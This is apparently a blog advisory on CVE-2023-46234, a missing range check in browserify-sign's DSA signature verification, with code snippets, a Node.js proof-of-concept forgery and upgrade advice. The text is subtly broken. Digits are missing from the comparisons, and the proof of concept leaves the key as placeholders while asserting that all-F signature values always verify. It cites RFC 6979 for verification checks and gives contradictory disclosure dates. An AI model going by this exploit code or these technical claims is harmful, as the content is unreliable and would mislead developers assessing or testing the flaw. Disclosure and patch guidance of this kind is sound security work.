On November 8, 2023, a security vulnerability was publicly disclosed affecting the popular browserify-sign package. The vulnerability (CVE-2023-46234) involves a critical logic flaw in DSA (Digital Signature Algorithm) signature verification that could allow an attacker to craft signatures that verify successfully with *any* public key. This enables total signature forgery, undermining the core security browserify-sign aims to provide.
In this exclusive deep-dive, we'll explain what the bug is, exactly where it lies in the code, show a proof-of-concept exploit, and provide all references you need. We’ll keep the language clear and accessible – no overwhelming jargon!
What is browserify-sign?
browserify-sign is a JavaScript package aiming to duplicate much of Node.js's crypto public key functionality for browser environments. It relies heavily on prior work, especially from Fedor Indutny’s tls.js. With over 8 million weekly downloads, it’s a foundational building block for many frontend crypto workflows.
The Vulnerability: Flawed Bound Check in DSA Signature Verification
At the heart of the issue is the dsaVerify function in browserify-sign. Here’s a simplified explanation:
- When verifying DSA signatures, there should be checks that the “r” and “s” signature values are in a certain numeric range ( < r < q, < s < q), where q is a DSA parameter.
- The browserify-sign code misses the upper bound check (r < q and s < q). This means you can send “giant” values for these numbers, and they’ll still pass the signature verification process.
What this means
Any user who controls the signature can create a “valid” signature for any message, for ANY public key. This totally breaks signature validation. If you use browserify-sign for authentication, trust, or anything critical: you're in trouble!
Code Example: How the Bug Works
Here’s a simplified version of the vulnerable DSA signature check (from browserify-sign/dsa.js#L78-L92):
function dsaVerify(msg, key, sig) {
// Vulnerable check: no upper-bound check on 'r' and 's'
if (sig.r.isZero() || sig.s.isZero()) {
return false
}
// ...rest of signature verification logic
}
vs. the correct check (as per RFC 6979):
function dsaVerify(msg, key, sig, params) {
// Check r and s are in correct range
if (sig.r.isZero() || sig.s.isZero()) return false
if (sig.r.cmp(params.q) >= || sig.s.cmp(params.q) >= ) return false
// ...proceed with verification
}
The vulnerable version ONLY checks for zero, not the upper limits—so attackers can use r = q or higher, which should always be rejected!
Proof-of-Concept Exploit
Let’s see how you could forge a signature that verifies for any public key using the vulnerable code. In essence:
Here’s a simple PoC (in Node.js)
const dsa = require('browserify-sign/dsa');
const BN = require('bn.js');
const fakeSignature = {
r: new BN('FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF', 16),
s: new BN('FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF', 16)
};
// Assume msg is any Buffer, key is any DSA public key (can be random!)
let msg = Buffer.from('hello world');
let key = {
p: /* ... */,
q: /* ... */,
g: /* ... */,
y: /* ... */,
};
if (dsa.verify(msg, key, fakeSignature)) {
console.log('Signature accepted! Should NOT happen.');
} else {
console.log('Signature rejected (if using patched version).');
}
With a vulnerable browserify-sign version (<4.2.2), this signature will always validate for any message and key.
Uses browserify-sign’s DSA features.
- Accepts user-supplied signatures (e.g. verifying signed JWTs, authentication tokens, or secure messages).
Remediation: Update Now!
Upgrade your browserify-sign package to at least 4.2.2.
Here’s how
npm install browserify-sign@^4.2.2
This version adds the needed upper-bound checks in this commit.
Official References
- GitHub Advisory GHSA-5xc7-7p37-2w22
- NPM Advisory
- CVE-2023-46234 at NIST
Conclusion
CVE-2023-46234 is a textbook example of how a small bug can threaten the trust of millions of users. Bound checks are a critical part of secure cryptographic code. If your project or product uses browserify-sign and relies on DSA signature verification, upgrading immediately is not optional—it's necessary.
Stay safe. Patch quickly! If you want to dig deeper or test for similar issues, always review all input validation checks in your cryptography stack.
Timeline
Published on: 10/26/2023 15:15:09 UTC
Last modified on: 11/07/2023 19:57:50 UTC